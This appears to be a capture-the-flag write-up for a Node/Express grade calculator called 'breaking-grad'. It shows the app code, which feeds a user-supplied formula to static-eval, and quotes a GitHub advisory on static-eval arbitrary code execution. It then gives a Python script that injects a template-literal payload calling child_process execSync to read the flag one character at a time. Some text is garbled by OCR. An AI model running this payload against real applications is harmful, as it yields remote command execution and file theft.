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7 router.get('/', (req, res) => {

8 return res.sendFile(path.resolve('views/index.html'));

91

10

11 router.post('/api/calculate', (req, res) => {

12 let student = req.body;

13

14 if (student.name === undefined) {

15 return res.send({

16 error: 'Specify student name'

17 1)

18 }

19

20 let formula = student.formula || '[0.20 % assignment + 0.25 % exam + 0.25 % paper]';
21

22 if (StudentHelper.isDumb(student.name) || !StudentHelper.hasPassed(student, formula)) {
23 return res.send({

24 'pass': 'n' + randomize('?', 10, {chars: '0@'}) + 'pe'

25 1
26 }
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1 const evaluate = require('static-eval');

2 const parse = require('esprima').parse;

3

4 module.exports = {

5

O 0 ~N O

10
11
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13

isDumb(name){
return (name.includes('Baker') || name.includes('Purvis'));

+

hasPassed({ exam, paper, assignment }, formula) {
let ast = parse(formula).body[0@].expression;
let weight = evaluate(ast, { exam, paper, assignment });

return parseFloat(weight) >= parseFloat(10.5);
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"name": "breaking-grad",
"version": "1.0.0",
"description': "",

"main": "index.js",
"nodeVersion": "v12.18.1",
"scripts": {

"start": "node index.js",
"dev": "nodemon .",
"test": "echo \"Error: no test specified\" && exit 1"

"keywords": [1,
"authors": [

"makelaris",
"makelarisjr"

"dependencies": {

"body-parser": "~1.19.0",
"express': "*4.17.1",
"randomatic": "~3.1.1",
"static-eval": "2.0.2"
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GitHub Advisory Database / GitHub Reviewed / CVE-2021-23334

Withdrawn: Arbitrary Code Execution in static-eval
(critical severity ) ~ GitHub Reviewed = Published on 7 May 2021 « Updated on 7 May 2021
Vulnerability details Dependabot alerts 0

Package Affected versions Patched versions
[ static-eval (npm) <=2.1.0 None
Description

All versions of package static-eval are vulnerable to Arbitrary Code Execution using FunctionExpressions and TemplateLiterals. PoC:
var evaluate = require('static-eval'); var parse = require('esprima').parse; var src="(function (x) { return
${eval("console.log(global.process.mainModule.constructor._load('child_process').execSync('ls').toString())")} }) ()" var ast =
parse(src).body[0].expression; evaluate(ast)
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import string
import requests

url = '"http://209.97.187.217:32476/api/calculate’
flag = "'

for i, _ in enumerate(iter(bool, True)):
for chr in string.printable:
payload = "(function (x) { return ~${eval(\"if(global.process.mainModule.constructor._load('child_proces
s').execSync('cat flag*').toString().charCodeAt(" + str(i) + ") == " + str(ord(chr)) + ") {25} else {1}\")} })(
)"

data = {"name": "AAA", "formula": payload}
r = requests.post(url, json=data)

if('Passed' in r.content):
flag += chr
print(flag)

if(chr == '}"):
quit()

break
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